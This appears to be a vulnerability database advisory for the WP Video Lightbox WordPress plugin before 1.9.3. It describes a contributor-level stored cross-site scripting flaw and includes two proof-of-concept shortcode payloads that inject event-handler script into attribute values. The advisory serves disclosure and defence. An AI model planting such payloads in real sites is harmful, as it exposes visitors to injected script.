WordPress Plugin Vulnerabilities
WP Video Lightbox < 1.9.3 - Contributor+ Stored Cross-Site Scripting
Description
The plugin does not escape the attributes of its shortcodes, allowing users with a role as low as contributor to perform Cross-Site Scripting attacks
Proof of Concept
[video_lightbox_vimeo5 video_id='"onmouseover=alert(/XSS/) b="' width="640" height="480" anchor="Click here to open vimeo video"] [video_lightbox_vimeo5 video_id="13562192" width="640" height="480" anchor='http"onerror=alert(/XSS/)//']
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Vishnupriya Ilango of Fortinet Fortiguard Labs
Submitter
Vishnupriya Ilango
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-08-23 (about 2 years ago)
Added
2021-08-23 (about 2 years ago)
Last Updated
2022-03-07 (about 2 years ago)